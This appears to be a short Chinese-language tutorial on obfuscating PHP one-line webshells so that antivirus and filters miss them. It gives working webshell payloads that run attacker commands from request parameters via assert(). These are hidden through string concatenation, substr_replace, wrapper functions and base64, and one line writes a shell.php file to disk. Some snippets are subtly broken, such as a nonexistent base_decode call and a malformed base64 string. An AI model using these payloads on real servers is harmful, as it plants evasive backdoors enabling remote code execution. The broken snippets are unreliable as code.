php一句話木馬免殺
針對于php一句話木馬做免殺:
利用php動態函數的特性,將危險函數拆分成字符,最終使用字符串拼接的方式,然后重新拼接,后加括號執行代碼,并且可以使用花指令進行包裝,如無限if(1=1)套接,以此來做偽裝繞過,達成免殺
assert()
如果過濾eval()函數時,可以考慮嘗試assert()函數
assert() 會將字符串當做PHP 代碼來執行
- assert() 只能執行單條PHP 語句。
- assert() 是一個函數,可以動態調用。
- 高版本PHP 中,assert() 被棄用
此時一句話木馬即可構造為
<?php @assert($_REQUEST['cmd']); ?>
字符拼接函數
當eval和assert都被過濾時,即可考慮將函數拆分重組
例如
<?php$a="a"."s";$b="s"."e";$c="rt";$d=$a.$b.$c;$d($_REQUEST['cmd']);
?>
可正常執行
編碼加密后也可連接
php函數替換拼接
可以使用php函數來進行字符串的替換拼接
substr_replace()
函數是 PHP 中用于替換字符串中的一部分內容的函數
使用方法:
string substr_replace ( string $string , string $replacement , int $start [, int $length ] )
參數說明:
$string
:原始字符串。$replacement
:替換的字符串。$start
:替換的起始位置。$length
:可選參數,指定要替換的長度。如果未指定,則替換從起始位置開始一直到字符串末尾的部分
示例
<?php$a=substr_replace("asxxxx","se",2);$b=substr_replace($a,"rt",4);@$b($_REQUEST['cmd']);
?>
同上可執行可連接
定義函數包裹
使用定義函數,將危險函數放進函數中,替代調用
<?phpfunction asrt1($a){assert($a);}@asrt1($_REQUEST['cmd']);
?>
GPC替換
當request被過濾時,嘗試使用GET或者POST
當然該參數也可以使用字符串拼接等方式組合
加密
例如使用base64加密
<?php$a=base_decode(YXNzZXJ0/ZXZhbA==);$b=$a(base64_decode($_REQUEST['cmd']));
?>
生成一句話馬文件
<?php file_put_contents('shell.php','<?php @assert($_REQUEST);?>')?>
同理,如果該函數中出現過濾,則可考慮使用上述的拼接替換字符